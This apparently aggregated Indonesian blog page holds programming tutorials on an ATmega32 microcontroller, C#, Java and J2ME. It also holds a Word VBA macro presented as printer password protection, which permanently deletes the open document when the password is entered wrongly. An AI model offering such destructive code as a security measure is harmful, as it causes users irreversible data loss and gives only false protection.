6. 32KB EEPROM untuk program (89C51 hanya 4kb)
7. Internal watch dog. Nah ini penting, sehingga bisa mencegah sistem hang
8. Brown-out detector, juga mencegah hang.
9. In-system programming, tidak perlu programmer khusus
10. Punya port SPI, I2C
11. Arsitektur RISC, 1 instruksi hanya dilaksanakan 1 clock, bandingkan 89C51 membutuhkan 6-12 clock.
12. Dan yang paling penting:Development tools, cross compiler (C) gratis! Bandingkan dengan 89C51 harus memakai Frankln Cross Compiler yang harganya selangit...

Untuk developmentnya, saya biasanya memakai bahasa C, karena kalau memakai assembly, rumit banget dan memusingkan (menurut saya...) Dengan memakai bahasa C, pemrograman menjadi sangat mudah dan cepat. Kalau mau mencoba memakai bahasa Pascal, bisa juga, silahkan cek www.mikroe.com
Jadi, tinggalkan kebiasaan lama memakai bahasa Assembler untuk pemrograman mikrokontroller, gunakan bahasa C jika anda ingin development yang cepat dan mudah... Gratis juga kan?
Tertarik? Sekarang mari kita persiapkan tools nya yang gratis itu:
Software di PC:
1. AvrStudio Versi 4.13 Build 571 (ini yang saya pakai), silahkan download di www.atmel.com
2. WinAVR Versi 20071221, download di www.sourceforge.net atau search menggunakan google, keyword WinAVR
3. PonyProg2000 download di http://ponyprog.sourceforge.net
Catatan:
WinAVR dengan nama avr-gcc tersedia juga di linux, cuma saya belum mencobanya.
Programmer:
Untuk programmernya kita harus membeli Universal Programmer seharga 10 Juta-an... Kaget? Enggak kok, cuma harus menyiapkan uang sekitar 10 ribu untuk:
1. DB25 Female
2. 4 buah resistor 100 ohm
3. Konektor 6 pin, bisa memakai Header 6 pin
4. Kabel isi banyak kurang lebih 1meter (atau kabel pita)

Konektor DB25 adalah konektor yang dicolokkan ke paralel port untuk memprogram. Nah, dalam proses programmingnya, setiap PCB (atau desain) yang anda buat memakai mikrokontroller AVR, harus menyiapkan konektor 6 pin yang terhubung ke:
1. GROUND
2. Reset (Pin 9 pada ATMEGA32)
3. Not connected
4. SCK (Pin 8 pada ATMEGA32)
5. MISO (Pin 7 pada ATMEGA32)
6. MOSI (Pin 6 pada ATMEGA32)
Sekarang kita buat rangkaian yang paling sederhana, setidaknya kita bisa meyakinkan bahwa seluruh proses mulai dari pembuatan software sampai memprogram AVR berjalan dengan lancar.

Rangkaian sederhana ATMEGA32:

Rangkaiannya mirip dengan 89C51, Xtalnya juga bisa memakai standar 89C51, cuma capasitor xtalnya 22pF. Rangkaian ini berfungsi untuk menyalakan 3 buah LED saja karena tujuan kita adalah menguji apakah ATMEGA32 ini bisa berfungsi atau tidak.
Untuk power supply, gunakan 5 Volt, bisa menggunakan LM2576, 7805 atau sumber tegangan lainnya, hanya jangan sampai lebih dari 5.5 Volt karena dapat mengakibatkan ATMEGA32 rusak.
Mari kita desain software yang bisa menyalakan ketiga led tersebut bergantian tahap demi tahap.
Pembuatan Software ATMEGA32
1. Install AvrStudio yang sudah didownload
2. Install WinAVR
3. Install PonyProg2000
Apabila semuanya sudah diinstall, silahkan buka software AVRSTUDIO nya.
1. Pilih Project – New Project
2. Pilih AvrGCC dan nama project, serta folder project itu disimpan. Lihat gambar dibawah:

Opsi Create Folder akan membuat satu folder baru untuk project yang akan kita buat. Untuk projectnya, saya beri nama:testpertama. AVRStudio akan membuat folder testpertama di My Documents
3. Klik Next

4. Pilih Debug Platform:AVR Simulator dan ATmega32 pada Device.
5. Klik Finish
6. Klik Project – Configuration Option

7. Pilih opsi seperti gambar diatas. Frequency diisi dengan 11059200 hz. Optimization pilih O0 (tanpa optimasi).
8. Klik Ok
9. Sekarang anda telah siap untuk menuliskan source codenya:

10. Isi source code dengan:
#include < avr/io.h >
#include < avr/interrupt.h >
#include < inttypes.h >
#include < avr/iom32.h >
#include < stdio.h >
#include < math.h >
#include < avr/pgmspace.h >
#include < avr/eeprom.h >
#include < avr/wdt.h >
int main(void)
{
DDRC=0xff;
PORTC=0x01;
while (1);
}
Gunakan source code diatas sebagai tempate apabila anda akan membuat software pada platform ATMEGA32. Memang saat ini tidak semua header pada include dipergunakan, tetapi tidak masalah apabila dimasukkan sebagai template.
Pada bahasa C, awal eksekusi adalah pada fungsi main(void), fungsi dari masing-masing perintah tersebut adalah:
DDRC=0xff;
Berfungsi untuk memberitahu ATMEGA32 bahwa PORTC akan dipakai untuk OUTPUT. Silahkan baca datasheet ATMEGA32 mengenai DDR (Data Direction Register)
PORTC=0x01;
Adalah perintah untuk memprogram PORTC agar berisi 01 hexa (00000001 biner).
while (1);
Adalah perintah looping tak berakhir, maksudnya, setelah 2 perintah tersebut dijalankan, sistem akan diam disini.
11. Klik Build – Rebuild all
Apabila dibagian bawah tertulis Build succeded with 0 warnings... berarti proses kompilasi berhasil. Sekarang mari kita isikan hasil kompilasi tersebut ke IC ATMEGA32
12. Siapkan kabel programmer yang sudah dibuat, colokkan ke Paralel Port
13. Sambungkan ujung yang lain kabel programmer yang dipasang header 6 pin ke pin 6 – 9 pada ATMEGA32
14. Jalankan software PonyProg
15. Pilih AVRMicro dan ATMEGA32 pada sebelah kanan atas software ponyprog
16. Pilih Setup-Interface setup dan ikuti setting dibawah:

17. Klik Probe, jika jawabannya Ok, berarti sambungan kabel benar.
18. Klik Setup-Callibration, kemudian Ok (hanya jalankan pada pertama kali merun ponyprog saja)
19. Klik File – Open Program, kemudian cari file hex pada folder My Documents\testpertama\default
20. Klik Command-Write Program, sampai muncul pesan bahwa pemrograman sukses. Jika pemrograman gagal, cek kembali hubungan kabel.
21. Klik Command-Security and Configuration Bit
.

22. Sesuaikan dengan gambar diatas, klik pada BODLEVEL, BODEN dan CKOPT
23. Klik Write
22. Klik Ok, coba reset mikrokontroller dengan memutus dan menyambungkan kembali power supply.
23. Lihat apakah led yang terhubung ke pin 23 dan 24 menyala dan led yang terhubung ke pin 22 mati. Jika ya, berarti anda sudah sukses memprogram ATMEGA32 dengan bahasa C! Kenapa hanya 2 led yang menyala padahal port C diisi angka 1? Silahkan pelajari source code dan rangkaiannya.
Sekarang, mari kita buat agar LED tersebut menyala bergantian.
Tambahkan pada program satu buah fungsi delay, sehingga program menjadi:
.
.
.
void tunggu(unsigned int dx)
{
unsigned int x;
unsigned int y;
for(x=0;x< 500;x++)
{
for(y=0;y< dx;y++) {}
}
}
int main(void)
{
DDRC=0xff;
while (1)
{
PORTC=0x06;
tunggu(500);
PORTC=0x05;
tunggu(500);
PORTC=0x03;
tunggu(500);
}
}
Coba dicompile dan dimasukkan ke mikro nya, apakah benar lednya menyala bergantian?
Pengembangan lebih lanjut:
1. Output port C dihubungkan dengan 8 buah lampu 220 Volt melalui isolasi optis yang dibahas pada posting mengenai isolasi optis.
2. Buat program yang membuat ke 8 lampu tersebut menyala bergantian.
atau
Anda dapat juga membuat alat pencegah maling seperti yang terdapat pada posting saya di bagian isolasi optis.

source : awasnyetrum.blogspot.com

Technorati Tags: ,,


Read More...

Berkenalan Dengan C# dan CLR

Kamis, Agustus 21, 2008 | | Comments

Pendahuluan

C# (dibaca “C Sharp”) merupakan bahasa pemrograman modern yang berorientasi objek.  Secara sintaks C# mirip dengan bahasa-bahasa keluarga C seperti C, C++, dan Java.  C# menggabungkan produktifitas dan kemudahan yang ada di Visual Basic dengan kemampuan dan fleksibilitas yang ada di C++, dan menambahkan hal-hal baru yang tidak ada di Java. Perancang utamanya adalah Anders Hejlsberg dari Microsoft, yang dulunya membuat Turbo Pascal dan berperan dalam pengembangan bahasa Delphi dan IDE Borland Delphi.

Bahasa ini telah diserahkan oleh Microsoft ke badan standar internasional ECMA.  Proses standarisasinya selesai pada Desember 2001 dengan nama standarnya ECMA-334.  Dengan standar tersebut, siapapun dapat dengan mudah dan bebas membuat implementasi bahasa C#.

Hello, World!!!

Mungkin cara yang paling baik untuk mengenal suatu bahasa adalah dengan melihat contoh programnya.  Inilah program “Hello World” yang dibuat dengan C#:

// Contoh001

class Halo
{
static void Main()
{
System.Console.WriteLine("Halo, dunia!!!");
}
}



Jika program tersebut dicompile dan dijalankan, maka akan keluar tulisan berikut di layar:




Halo, dunia!!!



Menganalisa “Hello World”



Cara mengcompile dan menjalankan program “Hello World” akan dibahas di akhir tutorial ini.  Sebelumnya, kita akan menganalisa program di atas sedikit demi sedikit.




// Contoh001



Baris tersebut merupakan comment satu baris.  Comment satu baris diawali dengan // dan berakhir di baris yang bersangkutan.  Comment tidak akan mempengaruhi jalannya program, walaupun begitu comment merupakan alat yang handal untuk dokumentasi dan penulisan catatan-catatan saat kita membuat program.



Lalu perhatikan baris berikut (baris sebelumnya sengaja dilompati):




static void Main()



Baris di atas mendeklarasikan suatu method yang bernama Main() (di beberapa bahasa pemrograman lain, method disebut fungsi atau subroutine). Setiap program C# harus memiliki method ini. Method Main() adalah pintu masuk program anda, yang berarti bahwa method ini akan dipanggil saat program dijalankan.  Isi atau tubuh method harus diawali dengan { (kurung kurawal buka) dan diakhiri dengan } (kurung kurawal tutup).



C# merupakan bahasa yang “case sensitive”, jadi method yang bernama Main() (m huruf besar) berbeda dengan method yang bernama main() (m huruf kecil).  Kita bisa melihat bahwa C# meninggalkan adat istiadat keluarga C yang menggunakan method main() (m huruf kecil) sebagai pintu masuk program.  Hal ini dilakukan agar C# konsisten dengan salah satu panduan penamaan modern yaitu mengawali nama method dengan huruf besar.  Untuk sementara, static dan void tidak akan dibahas.



Kita bisa lihat bahwa method Main() berada di dalam class yang bernama Halo, dengan deklarasi sebagai berikut:




class Halo



Class merupakan salah satu unit enkapsulasi di C#.  Maksudnya, class digunakan untuk mengelompokkan data-data dan method-method yang saling berhubungan.  Tubuh class dibatasi dengan { dan }.



Di dalam C#, method harus berada di dalam unit enkapsulasi, contohnya class.  Dalam Contoh001, method Main() berada di dalam class Halo.  Ini adalah aturan baru bagi programmer C dan C++, tetapi bukanlah hal yang asing bagi programmer Java.  Kita bebas menentukan nama class yang memuat method Main().



Aktivitas utama program kita terletak di baris berikut:




System.Console.WriteLine("Halo, dunia!!!");



Saat program dijalankan, baris tersebut menyebabkan keluarnya tulisan “Halo, dunia!!!” yang diikuti baris baru.  Hal tersebut dilaksanakan oleh method WriteLine().  Method WriteLine() tersebut berada di dalam class yang bernama Console (sebagaimana method Main() berada dalam suatu class). Class Console sendiri dikelompokkan ke dalam namespace yang bernama System. Namespace digunakan untuk mengelompokkan class-class dan beberapa elemen bahasa lainnya.  Jadi kita memanggil method WriteLine() dengan menuliskan mulai dari nama namespacenya, class yang memuatnya, sampai ke method itu sendiri. “Halo Dunia!” dikatakan sebagai argumen bagi method WriteLine().  Class Console merupakan bagian dari BCL (Base Class Library), jadi bisa dipastikan bahwa semua implementasi standar C# memilikinya.



Baris yang barus saja kita bahas biasa disebut dengan statement.  Statement di atas melakukan pemanggilan method, tetapi nanti kita akan melihat bahwa masih banyak jenis-jenis statement lainnya.  Setiap statement di C# harus diakhiri dengan ; (titik koma).



Terlalu Panjang?



Jika kita membuat program console, kita akan banyak memakai method WriteLine().  Pemanggilannya yang cukup panjang seperti pada Contoh001 tentunya akan merepotkan.  Ada cara yang dapat dilakukan untuk menyingkatnya, yaitu sebagai berikut:




// Contoh002

using System;

class HaloDanDadah
{
static void Main()
{
Console.WriteLine("Halo!");
Console.WriteLine("Dadah!");
}
}



Output programnya adalah sebagai berikut:




Halo!
Dadah!



Perhatikan statement berikut:




using System;



Statement tersebut memungkinkan kita untuk menggunakan semua class yang berada di dalam namespace System secara langsung.  Karenanya, pemanggilan terhadap method WriteLine() cukup diawali dengan nama classnya yaitu Console.



Di dalam Contoh002 juga jelas terlihat bahwa method WriteLine() mengganti baris setelah menuliskan argumennya.  Oleh karena itu, “Dadah!” tertulis di bawah “Halo!”.



Membuat, Mengcompile, dan Menjalankan Program



Di bagian ini akan dibahas dua cara, yaitu menggunakan Framework .NET di Windows dan menggunakan Mono di Linux.



Menggunakan Framework .NET di Windows



Yang pertama kali harus kita lakukan adalah mendownload Microsoft .NET Framework SDK (106 MB) atau Microsoft .NET Framework Redistributable (23 MB).  Ukuran versi SDK jauh lebih besar dari versi redistributablenya, sebab versi SDK memuat dokumentasi, contoh-contoh program, dan tools-tools tambahan yang berguna untuk pengembangan program.  Untuk mencoba program-program di tutorial ini anda dapat menggunakan versi redistributable.  Dokumentasi yang ada di SDK akan menjadi kebutuhan saat anda sudah memulai pemrograman serius menggunakan C#.  Versi SDK hanya akan dapat berjalan di Windows 2000, Windows XP, dan Windows Server 2003.



Setelah menginstall Framework .NET, di dalam folder Windows anda akan terdapat folder yang menyimpan compiler C#.  Contoh foldernya adalah sebagai berikut:




C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322



Lokasi tepatnya bergantung pada lokasi folder Windows anda dan versi Framework .NET yang anda install.  Compiler C# yang terletak di folder tersebut bernama csc.exe.  Untuk dapat memanggil compiler C# dari folder manapun, pastikan untuk menulis perintah seperti berikut di command prompt (cek dulu lokasi foldernya):




PATH = %PATH%; C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322



Setting tersebut hanya akan berlaku dan bertahan pada command prompt yang sedang anda gunakan.  Untuk membuatnya universal dan permanen, tambahkan perintah tersebut ke file autoexec.bat.  Cara lainnya, jika anda menggunakan Windows 2000 atau Windows XP, adalah dengan mengklik kanan “My Computer”, memilih “Properties”, masuk ke tab “Advanced”, dan memilih “Environment Variables”.  Di bagian “System Variables” terdapat variabel “Path”.  Tambahkan folder tempat Framework .NET terinstall ke variable “Path” tersebut.



Anda dapat menuliskan program-program C# dengan text editor seperti notepad.  Save source code anda dengan akhiran cs, misalnya contoh002.cs.  Untuk mengcompile program anda, masuklah ke command prompt dan gunakan csc.  Misalnya, untuk mengcompile contoh002.cs digunakan perintah berikut:




csc contoh002.cs



Hasil kompilasinya adalah contoh002.exe.  Anda dapat menjalankannya dengan mengetikkan nama filenya, misalnya:




contoh002



Menggunakan Mono di Linux



Mono merupakan salah satu proyek open source untuk membuat implementasi Framework .NET.  Cara-cara menginstallnya terdapat di website yang bersangkutan.  Setelah Mono terinstall, ketik source code dengan text editor favorit anda dan save dengan akhiran cs.  Untuk mengcompile program anda, gunakan perintah berikut:




mcs namaprogram.cs



Untuk menjalankannya, gunakan perintah berikut:




mono namaprogram.exe



Terdapat juga Mono untuk Windows.  Silahkan mencobanya jika anda tertarik.



Menggunakan IDE (Integrated Development Environment)





Selain menggunakan text editor dan command line compiler, kita bisa juga menggunakan beberapa IDE yang telah tersedia.  IDE gratis yang bisa diperoleh contohnya adalah SharpDevelop (lihat gambar di atas) dan MonoDevelop.  IDE komersial yang ada contohnya adalah Microsoft Visual Studio .NET 2003.



Berkenalan dengan CLR dan Konsep Program Managed



Program-program C# yang dihasilkan tidaklah terikat dengan hardware maupun operating system tertentu.  Untuk menjalankan suatu program C#, di komputer (atau alat elektronik lain) yang bersangkutan harus tersedia CLR (Common Language Runtime).  Jalannya sebuah program C# akan dikelola sepenuhnya oleh CLR, oleh karena itu program C# dikatakan sebagai program yang managed.  Program-program klasik yang langsung berinteraksi dengan operating system maupun hardware tertentu disebut program unmanaged.  Untuk lebih jelasnya, lihatlah diagram berikut:





Dengan perantara CLR tersebut, program-program C# menjadi portable.  Misalnya, program C# yang dicompile menggunakan Microsoft .NET Framework dapat langsung dijalankan di Linux asalkan terinstall Mono atau implementasi CLR lainnya.  Mungkin anda sudah bisa menebak bahwa Microsoft .NET Framework dan Mono merupakan beberapa implementasi CLR yang ada.  Beberapa implementasi CLR lainnya contohnya adalah Microsoft .NET Compact Framework (untuk Pocket PC dan handphone), dotGNU Portable .NET (untuk Linux), dan Rotor (untuk FreeBSD).



Konsep ini sekilas terdengar mirip dengan Java dan JVMnya, namun ada beberapa hal yang membedakan CLR dengan Java.



CLR merupakan bagian dari standar internasional yang disebut CLI (Common Language Infratructure).  CLI memuat CLR, CIL (Common Intermediate Language, analog dengan Java bytecode), dan BCL (Base Class Library).  Sifat CLR yang merupakan open standard memungkinkan siapa saja membuat implementasinya.  Hal ini berbeda dengan platform Java yang merupakan platform pribadi milik Sun.



Tidak seperti platform Java yang terkait dengan bahasa Java, CLR tidak terkait dengan bahasa pemrograman apapun. Contoh-contoh bahasa yang bisa dipakai untuk membuat program managed adalah C#, Managed Extension for C++, Visual Basic .NET, Jscript .NET, J#, Pascal .NET, Delphi .NET, Phyton .NET, Eiffel#, COBOL .NET, dan Perl .NET.  Program yang dibuat dengan bahasa berbeda dapat dengan mudah berinteraksi!



CLI dibuat oleh Microsoft bersamaan dengan implementasinya yaitu Framework .NET.  Microsoft menyerahkan CLI kepada ECMA untuk distandarisasi agar pengadopsiannya lebih cepat dan meluas.  Hasil standarisasi tersebut tidaklah sia-sia, sebab dengan standar-standar yang ada muncullah implementasi-implementasi open source seperti Mono dan dotGNU Portable .NET.  Standar CLI tersebut diberi nama ECMA-335.



Penutup



Tutorial pengenalan ini mungkin belum bisa memperlihatkan keunggulan C# terhadap bahasa-bahasa pemrograman lainnya, terutama terhadap C++ dan Java.  Programmer C++ nantinya akan melihat bahwa sintaks di C# lebih bersih, aturan-aturan bahasanya lebih sederhana, dan class librarynya yang berorientasi objek sangat intuitif untuk dipakai.  Programmer Java akan lebih cepat untuk beradaptasi dan akan menghargai elemen-elemen bahasa baru seperti property, indexer, delegate, dan event.  Dengan mempelajari C#, anda juga telah mulai menapakkan kaki anda ke dunia pemrograman managed yang modern, di mana perbedaan bahasa, operating system, dan hardware tidak lagi menjadi pembatas.  Semoga tutorial ini dapat menarik minat anda untuk mempelajari C# lebih lanjut.



source : ajidotnet.wordpress.com



Technorati Tags: ,,


Read More...

Dasar Pemograman Dengan Java

Kamis, Agustus 21, 2008 | | Comments

Pemrograman dengan Java
Java sebagai salah satu bahasa pemrograman baru menjanjikan banyak kemudahan bagi programer junior maupun senior. Tutorial ini akan membawa Anda mengenal lebih jauh bahasa ini melalui pembahasan konsep model perancangan dan petunjuk sederhana penggunaannya.

Apakah Java?
Java adalah bahasa pemrograman berorientasi objek yang dikembangkan oleh Sun Microsystems sejak tahun 1991. Bahasa ini dikembangkan dengan model yang mirip dengan bahasa C++ dan Smalltalk, namun dirancang agar lebih mudah dipakai dan ­platform independent, yaitu dapat dijalankan di berbagai jenis sistem operasi dan arsitektur komputer­­. Bahasa ini juga dirancang untuk pemrograman di Internet sehingga dirancang agar aman dan portabel.

Platform Independent
Platform independent berarti program yang ditulis dalam bahasa Java dapat dengan mudah dipindahkan antar berbagai jenis sistem operasi dan berbagai jenis arsitektur komputer. Aspek ini sangat penting untuk dapat mencapai tujuan Java sebagai bahasa pemrograman Internet di mana sebuah program akan dijalankan oleh berbagai jenis komputer dengan berbagai jenis sistem operasi. Sifat ini berlaku untuk level source code dan binary code dari program Java. Berbeda dengan bahasa C dan C++, semua tipe data dalam bahasa Java mempunyai ukuran yang konsisten di semua jenis platform. Source code program Java sendiri tidak perlu dirubah sama sekali jika Anda ingin mengkompile ulang di platform lain. Hasil dari mengkompile source code Java bukanlah kode mesin atau instruksi prosesor yang spesifik terhadap mesin tertentu, melainkan berupa bytecode yang berupa file berekstensi .class. Bytecode tersebut dapat langsung Anda eksekusi di tiap platform yang dengan menggunakan Java Virtual Machine (JVM) sebagai interpreter terhadap bytecode tersebut.

JVM sendiri adalah sebuah aplikasi yang berjalan di atas sebuah sistem operasi dan menerjemahkan bytecode program Java dan mengeksekusinya, sehingga secara konsep bisa dianggap sebagai sebuah interpreter. Proses pengeksekusian program Java dapat dilukiskan seperti di Gambar 1. Dengan cara ini, sebuah program Java yang telah dikompilasi akan dapat berjalan di platform mana saja, asalkan ada JVM di sana.

Kompiler dan interpreter untuk program Java berbentuk Java Development Kit (JDK) yang diproduksi oleh Sun Microsystems. JDK ini dapat didownload gratis dari situs java.sun.com. Interpreter untuk program Java sendiri sering juga disebut Java Runtime atau Java Virtual Machine. Interpreter Java, tanpa kompilernya, disebut Java Runtime Environment (JRE) dapat didownload juga di situs yang sama. Untuk mengembangkan program Java dibutuhkan JDK, sementara jika hanya ingin menjalankan bytecode Java cukup dengan JRE saja. Namun untuk mengeksekusi applet (sebuah bytecode Java juga) Anda biasanya tidak perlu lagi mendownload JRE karena browser yang Java-enabled telah memiliki JVM sendiri.

Library
Selain kompiler dan interpreter, bahasa Java sendiri memiliki library yang cukup besar yang dapat mempermudah Anda dalam membuat sebuah aplikasi dengan cepat. Library ini sudah mencakup untuk grafik, desain user interface, kriptografi, jaringan, suara, database, dan lain-lain.

OO
Java adalah bahasa pemrograman berorientasi objek. Pemrograman berorientasi objek secara gamblang adalah teknik untuk mengorganisir program dan dapat dilakukan dengan hampir semua bahasa pemrograman. Namun Java sendiri telah mengimplementasikan berbagai fasilitas agar seorang programer dapat mengoptimalkan teknik pemrograman berorientasi objek.

Sedikit perbandingan tambahan dengan bahasa C dan C++, Java banyak mewarisi konsep orientasi objek dari C++ namun dengan menghilangkan aspek-aspek kerumitan dalam bahasa C++ tanpa mengurangi kekuatannya. Hal ini mempermudah programer pemula untuk mempelajari Java namun mengurangi keleluasaan programer berpengalaman dalam mengutak-atik sebuah program. Di balik kemudahan yang ditawarkan Java, luasnya fasilitas library Java sendiri membuat seorang programer membutuhkan waktu yang tidak singkat untuk dapat menguasai penggunaan library-library tersebut.

source : pedagangasongan.blogspot.com

Technorati Tags: ,,


Read More...

Memproteksi Printer dengan Password

Kamis, Agustus 21, 2008 | | Comments

Source code ini saya buat ketika sedang seru-serunya bermain Age of Mythology (Titan Expansion) tiba-tiba ada seorang gadis mengeluh bahwa Printer sering bermasalah kalau penggunaannya tidak dikontrol dengan pintar, kejadian-kejadian kecil sering menjadi pemicunya, seperti: menarik kertas secara paksa saat terjadi "paper jam", mengisi tinta beda merek tanpa ijin, atau membersihkan cartridge dengan kertas.

Kalau sudah begini keadaannya, proteksi itu penting, agar orang lain tidak sembarangan memakai. Bagaimana caranya?

1. Buka Microsoft Word (terserah, menggunakan Word 2000/xp/2003/2007) > tekan Alt + F11 untuk membuka VisualBasicEditor
2. Pada panel kiri, pilih: Normal > Microsoft Word Objects > lalu klik dua kali pada This Document (icon MS-Word)
3. Copy paste kode yang disertakan di bawah ini pada panel sebelah kanan
4. Tekan Ctrl + S untuk menyimpan perubahan

Efek yang terjadi jika kode tadi sudah terpasang pada GlobalTemplate di Microsoft Word adalah:
- Jika %user% mengeksekusi perintah mencetak (print) dengan menekan Ctrl + P, atau klik File > Print, atau klik toolbar printer
maka akan muncul kotak dialog yang meminta password printer. Jika password benar maka user baru berhadapan dengan dialog print
(seperti biasa) namun jika password yang dituliskan keliru, akan muncul pernyataan bahwa password salah dan system langsung menawarkan apakah document ini akan dihapus? Satu-satunya cara menyelamatkan adalah dengan menekan Esc atau klik Cancel. Kalau Anda klik OK maka document akan dihapus secara permanen.

Tidak bisa di-recover dari Recycle Bin ataupun memakai program recovery.

Saya sarankan: berikan password dan sembunyikan document di folder rahasia. Kami menyebutnya teknologi yang mengerti Anda.
- Seperti yang terlihat di SourceCode, passwordnya sangat gampang terlihat.

Ini dia source code yang bisa Anda gunakan untuk memproteksi printer (segala merek)
'-------------------------------------------------- copy-paste


'FileName : FilePrint.bas
'Author : r3cyclebin
'email : ven0mday@gmail.com
'Description :
'Akses ke File > Print atau Ctrl+P dipasangi password, jika isiannya dikosongkan
'ataupun password salah maka akan dianggap tindakan ilegal
'dan ditawari menghapus dokumen secara permanen (tidak singgah di Recycle Bin).
'Kalau macro ini akan dimodifikasi melalui ViewVBCode akan ada lagi interupsi password.
'Password Ctrl+P : "pandorasbox" dan ViewVBCode : "divineintervention"
'---------------------------------------------------------------------------------------
Sub FilePrint()
If InputBox("Access for authorized user only" & Chr(13) & "Enter current password" & Chr(13) & "Hint: invoke god's power in AOMX", "::: RESTRICTED AREA :::") = "pandorasbox" Then
MsgBox "Password Accepted!"
Dialogs(wdDialogFilePrint).Show
Else
Dim strFileToDelete As String
Dim docOpen As Document
Dim intDocCount As Integer
intDocCount = 0
For Each docOpen In Documents
intDocCount = intDocCount + 1
Next docOpen
If intDocCount > 0 Then
If MsgBox("Access denied" & vbCrLf & "Delete this file permanently?", vbYesNo) = vbYes Then
If Len(ActiveDocument.Path) <> 0 Then
strFileToDelete = ActiveDocument.FullName
ActiveDocument.Close SaveChanges:=False
Kill strFileToDelete
Else
ActiveDocument.Close SaveChanges:=False
End If
End If
Else
MsgBox "File deleted. Mission accomplish!", vbOKOnly
End If
End If
End Sub
Sub ToolsMacro()
ViewVBCode
End Sub
Sub ViewVBCode()
If InputBox("Enter current password:", "Restricted Area") = "divineintervention" Then
Application.ShowVisualBasicEditor = True
End If
End Sub





'------- end of file


Saya rajin membuka situs Microsoft sejak 1999 karena semua client saya berurusan dengan software buatan Microsoft.



source : ven0mday.blogspot.com



Technorati Tags: ,,


Read More...

Belajar Membuat Mobile Aplikasi dengan J2ME

Kamis, Agustus 21, 2008 | | Comments

Artikel ini menjelaskan tentang cara memulai membuat aplikasi J2ME (aplikasi Java untuk perangkat kecil, seperti selular, PDA dan lainnya) tanpa menuliskan kode kode programming (source-code) sedikitpun, karena artikel ini ditujukan kepada programmer yang belum pernah membuat aplikasi J2ME, banyak para programmer desktop PC yang mungkin merasa terlalu susah untuk bikin aplikasi J2ME untuk selular, mudah mudahan artikel singkat ini bisa memberikan penjelasan yang cukup dan memberikan semangat yang positif untuk memulai membuat aplikasi J2ME.

Membuat aplikasi J2ME tidak memerlukan banyak software yang rumit atau besar, salah satu software yang pasti diperlukan adalah J2SE SDK/JDK, dalam J2SE SDK/JDK ini terdapat runtime dan library untuk program Java secara umum termasuk juga untuk J2ME, pada saat artikel ini ditulis telah ada J2SE SDK v1.4.2.

Untuk menulis source-code J2ME, maka kita memerlukan sebuah J2ME IDE (integrated development environment), ada beberapa pilihan IDE yang diantaranya adalah Netbean, Sun One Java Studio Mobility, CodeWarrior dan notepad (atau text editor lainnya), untungnya semua software IDE yang disebutkan ini dapat di download gratis di website resmi masing masing perusahaan, jadi untuk membuat program J2ME maka pihak developer tidak perlu mengeluarkan uang sama sekali untuk membeli software IDE.

Pada artikel ini yang diulas adalah IDE dari Netbean v4.1 dengan tambahan Netbean Mobility Pack v4.1, tambahan ini diperlukan untuk membuat aplikasi J2ME, karena jika hanya dengan Netbean v4.1 hanya dapat membuat aplikasi Java saja, Netbean Mobility Pack adalah module-module aplikasi J2ME dan emulator device untuk testing dalam PC. IDE lainnya boleh dicoba tapi dianjurkan memakai Netbean v4.1 karena versi ini sangat mudah dioperasikan dan dirasakan cukup cepat dibanding IDE lainnya dalam hal loading, compiling, running dan debugging.

Langkah yang dilakukan oleh editor untuk memulai pembuatan aplikasi J2ME adalah:
1. Install J2SE SDK v1.4.2 (50MB)
2. Install Netbean v4.1 (47MB)
3. Install Netbean Mobility Pack v4.1 (18MB)
4. Jalankan Netbean v4.1, buat projek baru dan pilih kategori "Mobile" dan tipe projek "Mobile Application"
5. Pilih lokasi tempat menyimpan file-file projek ini, "Set as Main Project" dan "Create Hello MIDlet" jangan dirubah (tercentang)
6. Pada halaman "Platform selection" pilih "Device Configuration" = CLDC-1.0 dan "Device Profile" = MIDP-1.0 (versi terkecil yang dapat digunakan dalam semua selular yang support J2ME)
7. Setelah semua selesai (tempate telah dibuat), jalankan aplikasi ini dengan menekan tombol F6 (Run Main Project).
8. Lalu project ini akan dikompile dan emulator akan keluar, gunakan mouse untuk mengoperasikan emulator tersebut, dengan menekan nekan tombol keypad dalam emulator tersebut mirip seperti selular biasa.
9. Pada saat ini, aplikasi "Hello World" kita telah selesai dibuat dan bisa langsung di tes pada selular yang sebenarnya.

Untuk testing langsung ke dalam selular, yang diperlukan tidaknya banyak, hanya:
1. Selular phone yang mendukung J2ME (setidaknya MIDP v1).
2. Alat untuk memindahkan aplikasi (.JAR dan .JAD) yang sudah dibuat kedalam selular, dapat berupa kabel data, infrared, bluetooth atau card reader/writer jika selular yang ingin digunakan sebagai test device memiliki slot memory external, seperti MMC, MemoryStick dan lainnya. Cara pemindahan aplikasi J2ME sama seperti cara mengisi ringtone, image dan lainnya.
3. Software untuk memindahkan aplikasi J2ME ke dalam selular, bisa menggunakan aplikasi yang dibuat oleh perusahaan lain (bukan buatan vendor selular tersebut), seperti MobiMB yang berukuran kecil, mudah dan cepat.

Dalam artikel ini, selular yang digunakan sebagai test adalah Nokia 6015 (memakai kabel data USB) dan Nokia 9500 (memakai card reader/writer untuk mengkopi file .JAR dan .JAD ke dalam MMC). File file yang perlu ditransfer kedalam selular adalah file .JAR (dan .JAD jika diperlukan) yang berada dalam direktori "DIST", lokasi direktori ini telah ditentukan pada langkah ke 5.

Kita telah selesai membuat aplikasi J2ME "Hello World", untuk merubah text atau menambah objek objek lainnya seperti TextBox, RadioBox, tombol- tombol menu dan lainnya dapat kita lakukan dalam Netbean, juga tanpa perlu menuliskan source-code karena Netbean v4.1 sudah memiliki fungsi yang cukup bagus dan mudah dengan drag-and-drop mirip seperti programming Visual Basic dan lainnya yang hanya memerlukan perubahan pada properti-properti objek tersebut jika diperlukan seperti kata-kata nya, lebar tingginya dan lain lain.

Memang aplikasi yang telah dibuat ini tidak begitu berguna, tapi bagi para programmer yang telah menguasai bahasa pemrograman Java maka tidaklah sulit untuk membuat aplikasi atau game game untuk selular yang mungkin bisa dengan mudah dijual kepada perusahaan perusahaan mobile content aggregator karena bisnis mobile content cukup lumayan saat ini.

Pilihan J2ME untuk membuat aplikasi/game selular sangat bagus, karena ukuran file nya kecil (file JAR Hello World yang telah kita buat ini hanya kurang lebih 1 kilobyte saja), bahasa Java relatif lebih mudah dipelajari dibanding C/C++ untuk Symbian, Palm, Pocket PC dan Linux, dan alasan yang terakhir adalah software IDE untuk J2ME versi sekarang ini sangat baik dan lebih mudah digunakan.

